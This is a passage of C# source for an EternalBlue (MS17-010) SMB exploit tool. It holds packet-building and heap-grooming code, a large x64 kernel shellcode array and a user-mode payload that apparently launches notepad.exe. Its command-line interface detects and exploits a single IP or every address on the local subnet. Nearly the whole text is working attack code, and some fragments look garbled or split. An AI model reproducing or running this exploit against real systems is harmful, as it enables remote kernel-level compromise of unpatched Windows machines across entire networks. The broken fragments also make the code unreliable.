        Socket gsock = client.Client;
        groom_socks.Add(gsock);
        SendSMBMessage(gsock, payload_hdr_pkt, false);
    }
    return groom_socks;
}

```

```

static public byte[] MakeSMB2PayLoadHeadersPacket()
{
    byte[] pkt = { 0x00, 0x00, 0xff, 0xf7, 0xfe, 0x53, 0x4D, 0x42 };
    byte[] tmp = Enumerable.Repeat((byte)0x00, 124).ToArray();
    pkt = pkt.Concat(tmp).ToArray();
    return pkt;
}

```

```

static public byte[] MakeSMB2PayloadBodyPacket(byte[] kernel_user_payload)
{
    int pkt_max_len = 4204;
    int pkt_setup_len = 497;
    int pkt_max_payload = pkt_max_len - pkt_setup_len;
    List<byte> pkt = new List<byte>();

    pkt.AddRange(new List<byte>()
    {
        0x00, 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00, 0x03, 0x00, 0x00, 0x00
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 28));
    pkt.AddRange(new List<byte>()
    {

```

```

        0x03,0x00,0x00,0x00
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 116));
    //KI_USER_SHARED_DATA addresses
    pkt.AddRange(new List<byte>()
    { //64
        0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xb0,0x00,0xd0,0xff,0xff,0xff,0xff,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 16));
    pkt.AddRange(new List<byte>()
    { //86
        0xc0,0xf0,0xdf,0xff,0xc0,0xf0,0xdf,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 196));

    //payload address
    pkt.AddRange(new List<byte>()
    {
        0x90,0xf1,0xdf,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 4));
    pkt.AddRange(new List<byte>()
    {
        0xf0,0xf1,0xdf,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 64));
    pkt.AddRange(new List<byte>()
    {
        0xf0,0x01,0xd0,0xff,0xff,0xff,0xff,0xff
    });
    pkt.AddRange(Enumerable.Repeat((byte)0x00, 8));
    pkt.AddRange(new List<byte>()
    {
        0x00,0x02,0xd0,0xff,0xff,0xff,0xff,0x00
    });
    pkt = pkt.Concat(kernel_user_payload).ToList();

    int j = pkt_max_payload - kernel_user_payload.Length;
    pkt.Add(0x00);
    /*

```

```

for (int i = 0; i < j; i++)
{
    pkt.Add(0x00);
}
*/
return pkt.ToArray();
}

```

```

static public byte[] MakeKernelShellcode()

```

```

{
    byte[] shellcode = {
        0xB9,0x82,0x00,0x00,0xC0,0x0F,0x32,0x48,0xBB,0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,
        0xFF,0x89,0x53,0x04,0x89,0x03,0x48,0x8D,0x05,0x0A,0x00,0x00,0x00,0x48,0x89,0xC2,
        0x48,0xC1,0xEA,0x20,0x0F,0x30,0xC3,0x0F,0x01,0xF8,0x65,0x48,0x89,0x24,0x25,0x10,
        0x00,0x00,0x00,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x50,0x53,0x51,0x52,
        0x56,0x57,0x55,0x41,0x50,0x41,0x51,0x41,0x52,0x41,0x53,0x41,0x54,0x41,0x55,0x41,
        0x56,0x41,0x57,0x6A,0x2B,0x65,0xFF,0x34,0x25,0x10,0x00,0x00,0x00,0x41,0x53,0x6A,
        0x33,0x51,0x4C,0x89,0xD1,0x48,0x83,0xEC,0x08,0x55,0x48,0x81,0xEC,0x58,0x01,0x00,
        0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x9D,0xC0,0x00,0x00,0x00,
        0x48,0x89,0xBD,0xC8,0x00,0x00,0x00,0x48,0x89,0xB5,0xD0,0x00,0x00,0x00,0x48,0xA1,
        0xF8,0x0F,0xD0,0xFF,0xFF,0xFF,0xFF,0xFF,0xFF,0x48,0x89,0xC2,0x48,0xC1,0xEA,0x20,0x48,
        0x31,0xDB,0xFF,0xCB,0x48,0x21,0xD8,0xB9,0x82,0x00,0x00,0xC0,0x0F,0x30,0xFB,0xE8,
        0x38,0x00,0x00,0x00,0xFA,0x65,0x48,0x8B,0x24,0x25,0xA8,0x01,0x00,0x00,0x48,0x83,
        0xEC,0x78,0x41,0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x41,0x5B,0x41,0x5A,0x41,0x59,
        0x41,0x58,0x5D,0x5F,0x5E,0x5A,0x59,0x5B,0x58,0x65,0x48,0x8B,0x24,0x25,0x10,0x00,
        0x00,0x00,0x0F,0x01,0xF8,0xFF,0x24,0x25,0xF8,0x0F,0xD0,0xFF,0x56,0x41,0x57,0x41,
        0x56,0x41,0x55,0x41,0x54,0x53,0x55,0x48,0x89,0xE5,0x66,0x83,0xE4,0xF0,0x48,0x83,
        0xEC,0x20,0x4C,0x8D,0x35,0xE3,0xFF,0xFF,0xFF,0x65,0x4C,0x8B,0x3C,0x25,0x38,0x00,
        0x00,0x00,0x4D,0x8B,0x7F,0x04,0x49,0xC1,0xEF,0x0C,0x49,0xC1,0xE7,0x0C,0x49,0x81,
        0xEF,0x00,0x10,0x00,0x00,0x49,0x8B,0x37,0x66,0x81,0xFE,0x4D,0x5A,0x75,0xEF,0x41,
        0xBB,0x5C,0x72,0x11,0x62,0xE8,0x18,0x02,0x00,0x00,0x48,0x89,0xC6,0x48,0x81,0xC6,
        0x08,0x03,0x00,0x00,0x41,0xBB,0x7A,0xBA,0xA3,0x30,0xE8,0x03,0x02,0x00,0x00,0x48,
        0x89,0xF1,0x48,0x39,0xF0,0x77,0x11,0x48,0x8D,0x90,0x00,0x05,0x00,0x00,0x48,0x39,
        0xF2,0x72,0x05,0x48,0x29,0xC6,0xEB,0x08,0x48,0x8B,0x36,0x48,0x39,0xCE,0x75,0xE2,
        0x49,0x89,0xF4,0x31,0xDB,0x89,0xD9,0x83,0xC1,0x04,0x81,0xF9,0x00,0x00,0x01,0x00,
        0x0F,0x8D,0x66,0x01,0x00,0x00,0x4C,0x89,0xF2,0x89,0xCB,0x41,0xBB,0x66,0x55,0xA2,
        0x4B,0xE8,0xBC,0x01,0x00,0x00,0x85,0xC0,0x75,0xDB,0x49,0x8B,0x0E,0x41,0xBB,0xA3,
        0x6F,0x72,0x2D,0xE8,0xAA,0x01,0x00,0x00,0x48,0x89,0xC6,0xE8,0x50,0x01,0x00,0x00,
        0x41,0x81,0xF9,0xBF,0x77,0x1F,0xDD,0x75,0xBC,0x49,0x8B,0x1E,0x4D,0x8D,0x6E,0x10,
        0x4C,0x89,0xEA,0x48,0x89,0xD9,0x41,0xBB,0xE5,0x24,0x11,0xDC,0xE8,0x81,0x01,0x00,
    }
}

```

```
0x00,0x6A,0x40,0x68,0x00,0x10,0x00,0x00,0x4D,0x8D,0x4E,0x08,0x49,0xC7,0x01,0x00,
0x10,0x00,0x00,0x4D,0x31,0xC0,0x4C,0x89,0xF2,0x31,0xC9,0x48,0x89,0x0A,0x48,0xF7,
0xD1,0x41,0xBB,0x4B,0xCA,0x0A,0xEE,0x48,0x83,0xEC,0x20,0xE8,0x52,0x01,0x00,0x00,
0x85,0xC0,0x0F,0x85,0xC8,0x00,0x00,0x00,0x49,0x8B,0x3E,0x48,0x8D,0x35,0xE9,0x00,
0x00,0x00,0x31,0xC9,0x66,0x03,0x0D,0xD7,0x01,0x00,0x00,0x66,0x81,0xC1,0xF9,0x00,
0xF3,0xA4,0x48,0x89,0xDE,0x48,0x81,0xC6,0x08,0x03,0x00,0x00,0x48,0x89,0xF1,0x48,
0x8B,0x11,0x4C,0x29,0xE2,0x51,0x52,0x48,0x89,0xD1,0x48,0x83,0xEC,0x20,0x41,0xBB,
0x26,0x40,0x36,0x9D,0xE8,0x09,0x01,0x00,0x00,0x48,0x83,0xC4,0x20,0x5A,0x59,0x48,
0x85,0xC0,0x74,0x18,0x48,0x8B,0x80,0xC8,0x02,0x00,0x00,0x48,0x85,0xC0,0x74,0x0C,
0x48,0x83,0xC2,0x4C,0x8B,0x02,0x0F,0xBA,0xE0,0x05,0x72,0x05,0x48,0x8B,0x09,0xEB,
0xBE,0x48,0x83,0xEA,0x4C,0x49,0x89,0xD4,0x31,0xD2,0x80,0xC2,0x90,0x31,0xC9,0x41,
0xBB,0x26,0xAC,0x50,0x91,0xE8,0xC8,0x00,0x00,0x00,0x48,0x89,0xC1,0x4C,0x8D,0x89,
0x80,0x00,0x00,0x00,0x41,0xC6,0x01,0xC3,0x4C,0x89,0xE2,0x49,0x89,0xC4,0x4D,0x31,
0xC0,0x41,0x50,0x6A,0x01,0x49,0x8B,0x06,0x50,0x41,0x50,0x48,0x83,0xEC,0x20,0x41,
0xBB,0xAC,0xCE,0x55,0x4B,0xE8,0x98,0x00,0x00,0x00,0x31,0xD2,0x52,0x52,0x41,0x58,
0x41,0x59,0x4C,0x89,0xE1,0x41,0xBB,0x18,0x38,0x09,0x9E,0xE8,0x82,0x00,0x00,0x00,
0x4C,0x89,0xE9,0x41,0xBB,0x22,0xB7,0xB3,0x7D,0xE8,0x74,0x00,0x00,0x00,0x48,0x89,
0xD9,0x41,0xBB,0x0D,0xE2,0x4D,0x85,0xE8,0x66,0x00,0x00,0x00,0x48,0x89,0xEC,0x5D,
0x5B,0x41,0x5C,0x41,0x5D,0x41,0x5E,0x41,0x5F,0x5E,0xC3,0xE9,0xB5,0x00,0x00,0x00,
0x4D,0x31,0xC9,0x31,0xC0,0xAC,0x41,0xC1,0xC9,0x0D,0x3C,0x61,0x7C,0x02,0x2C,0x20,
0x41,0x01,0xC1,0x38,0xE0,0x75,0xEC,0xC3,0x31,0xD2,0x65,0x48,0x8B,0x52,0x60,0x48,
0x8B,0x52,0x18,0x48,0x8B,0x52,0x20,0x48,0x8B,0x12,0x48,0x8B,0x72,0x50,0x48,0x0F,
0xB7,0x4A,0x4A,0x45,0x31,0xC9,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0x41,
0xC1,0xC9,0x0D,0x41,0x01,0xC1,0xE2,0xEE,0x45,0x39,0xD9,0x75,0xDA,0x4C,0x8B,0x7A,
0x20,0xC3,0x4C,0x89,0xF8,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x89,0xC2,0x8B,
0x42,0x3C,0x48,0x01,0xD0,0x8B,0x80,0x88,0x00,0x00,0x00,0x48,0x01,0xD0,0x50,0x8B,
0x48,0x18,0x44,0x8B,0x40,0x20,0x49,0x01,0xD0,0x48,0xFF,0xC9,0x41,0x8B,0x34,0x88,
0x48,0x01,0xD6,0xE8,0x78,0xFF,0xFF,0xFF,0x45,0x39,0xD9,0x75,0xEC,0x58,0x44,0x8B,
0x40,0x24,0x49,0x01,0xD0,0x66,0x41,0x8B,0x0C,0x48,0x44,0x8B,0x40,0x1C,0x49,0x01,
0xD0,0x41,0x8B,0x04,0x88,0x48,0x01,0xD0,0x5E,0x59,0x5A,0x41,0x58,0x41,0x59,0x41,
0x5B,0x41,0x53,0xFF,0xE0,0x56,0x41,0x57,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,
0x41,0xBB,0xDA,0x16,0xAF,0x92,0xE8,0x4D,0xFF,0xFF,0xFF,0x31,0xC9,0x51,0x51,0x51,
0x51,0x41,0x59,0x4C,0x8D,0x05,0x1A,0x00,0x00,0x00,0x5A,0x48,0x83,0xEC,0x20,0x41,
0xBB,0x46,0x45,0x1B,0x22,0xE8,0x68,0xFF,0xFF,0xFF,0x48,0x89,0xEC,0x5D,0x41,0x5F,
0x5E,0xC3};
```

```
return shellcode;
```

```
}
```

```
static public byte[] MakeKernelUserPayload(byte[] ring3)
```

```
{
```

```

byte[] shellcode = MakeKernelShellcode();
byte[] length = BitConverter.GetBytes((UInt16)ring3.Length);
shellcode = shellcode.Concat(length).ToArray();
shellcode = shellcode.Concat(ring3).ToArray();
return shellcode;
}

public static string GetLocalIPAddress()
{
    var host = Dns.GetHostEntry(Dns.GetHostName());
    foreach (var ip in host.AddressList)
    {
        if (ip.AddressFamily == AddressFamily.InterNetwork)
        {
            return ip.ToString();
        }
    }
    throw new Exception("No network adapters with an IPv4 address in the system!");
}

public static bool IsValidIP(string ipString)
{
    if (ipString.Count(c => c == '.') != 3) return false;
    IPAddress address;
    return IPAddress.TryParse(ipString, out address);
}

static public List<string> GetNetworkIPs(string localip)
{
    List<string> networkIPs = new List<string>();
    if (localip.Contains("192.168."))
    {
        int index = localip.LastIndexOfAny(".").ToCharArray();
        string subip = localip.Remove(index + 1);
        for (int i = 1; i < 255; i++)
        {
            networkIPs.Add(subip + i);
        }
        networkIPs.Remove(localip);
    }
}

```

```

    return networkIPs;
}

static bool Detect(string target)
{
    string ip = target;
    int port = 445;

    try
    {
        TcpClient client = new TcpClient(ip, port);
        Socket sock = client.Client;

        ClientNegotiate(sock);
        byte[] response = SMB1AnonymousLogin(sock);
        Console.WriteLine("Trying to detect version of Windows running on " + target + " ...");
        DetectVersionOfWindows(response);

        SMB_HEADER header = SMB_HeaderFromBytes(response);
        TreeConnectAndXRequest(ip, sock, header.UID);

        //This is checked with userid 2049 and not 2048
        bool vulnerable = CheckVulnerability(sock);
        if (vulnerable)
        {
            Console.WriteLine(target + " appears to be vulnerable!");
            sock.Close();
            client.Close();
            return true;
        }
        else
        {
            Console.WriteLine("IP: " + target + " does not appears to be vulnerable!");
            sock.Close();
            client.Close();
        }
    }
    catch
    {
        return false;
    }
}

```



```
}  
    return false;  
}
```

```
static void Exploit(string target)
```

```
{  
    string ip = target;  
    int port = 445;  
    int grooms = 12;  
    TcpClient client = new TcpClient(ip, port);  
    Socket sock = client.Client;
```

```
    byte[] buf = new byte[279] {
```

```
0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,  
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,  
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,  
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,  
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,  
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,  
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,  
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,  
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,  
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,  
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,  
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,  
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,  
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,  
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,  
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,  
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,  
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x6e,0x6f,0x74,  
0x65,0x70,0x61,0x64,0x2e,0x65,0x78,0x65,0x00 };
```

```
    byte[] shellcode = MakeKernelUserPayload(buf);  
    byte[] payload_hdr_pkt = MakeSMB2PayloadHeadersPacket();  
    byte[] payload_body_pkt = MakeSMB2PayloadBodyPacket(shellcode);
```

```
    Console.WriteLine("Trying to exploit: " + target);  
    ClientNegotiate(sock);  
    byte[] response = SMB1AnonymousLogin(sock);  
    SMB_HEADER header = SMB_HeaderFromBytes(response);
```

```
response = TreeConnectAndXRequest(ip, sock, header.UID);
header = SMB_HeaderFromBytes(response);
sock.ReceiveTimeout = 2000;
Console.WriteLine("Connection established for exploitation.");
```

```
Console.WriteLine("Creating a large SMB1 buffer... All but last fragment of exploit packet");
SMB1LargeBuffer(header, sock);
Socket fhs_sock = SMB1FreeHole(ip, port, true);
```

```
Console.WriteLine("Grooming...");
List<Socket> grooms_socks = new List<Socket>();
grooms_socks = SMB2Grooms(ip, port, grooms, payload_hdr_pkt, grooms_socks);
Socket fhf_sock = SMB1FreeHole(ip, port, false);
fhs_sock.Close();
grooms_socks = SMB2Grooms(ip, port, 6, payload_hdr_pkt, grooms_socks);
fhf_sock.Close();
```

```
Console.WriteLine("Ready for final exploit...");
byte[] final_exploit_pkt = MakeSMB1Trans2ExploitPacket(header.TID, header.UID, "eb_trans2_exploit",
```

15);

```
try
{
    SendSMBMessage(sock, final_exploit_pkt, false);
    response = ReceiveSMBMessage(sock);
    header = new SMB_HEADER();
    header = SMB_HeaderFromBytes(response);
}
catch (Exception e)
{
    Console.WriteLine("Socket error, this might end badly" + e.Message);
}
```

```
Console.WriteLine("Sending exploits with the grooms");
foreach (Socket s in grooms_socks)
{
    SendSMBMessage(s, payload_body_pkt.Take(2920).ToArray(), false);
}
foreach (Socket s in grooms_socks)
{
```

```

        SendSMBMessage(s, payload_body_pkt.Skip(2920).ToArray(), false);
    }
    foreach (Socket s in grooms_socks)
    {
        s.Close();
    }
    Console.WriteLine("Exploit send successfully...");
    client.Close();
    sock.Close();
}

static void Main(string[] args)
{
    if (args.Length < 2)
    {
        Console.WriteLine("Usage: Eternalblue.exe [detect/exploit] [ip/all]");
        Console.WriteLine("Detect eternalblue on specific IP:      Eternalblue.exe detect 192.168.141.210");
        Console.WriteLine("Detect eternalblue on all IPs on network:  Eternalblue.exe detect all");
        Console.WriteLine("Exploit eternalblue on specific IP:      Eternalblue.exe exploit 192.168.141.210");
        Console.WriteLine("Exploit eternalblue on all IPs on network:  Eternalblue.exe exploit all");
        Environment.Exit(0);
    }

    bool shouldExploit = false;
    if (args[0].Equals("exploit"))
    {
        shouldExploit = true;
    }

    if (args[1].Equals("all"))
    {
        string localip = GetLocalIPAddress();
        Console.WriteLine("Current IP:" + localip);
        Console.WriteLine("Gathering list of IPs on current subnet...");
        List<string> networkIPs = GetNetworkIPs(localip);
        foreach (string ip in networkIPs)
        {
            Console.WriteLine("Trying: " + ip);
            if (Detect(ip) && shouldExploit)

```

```
        {
            Exploit(ip);
        }
    }

}
else
{
    if (IsValidIP(args[1]))
    {
        string target = args[1];

        bool isVulnerable = Detect(target);
        if (isVulnerable && shouldExploit)
        {
            Exploit(target);
        }
    }
    else
    {
        Console.WriteLine("Not a valid IP...");
    }
}
}
}
```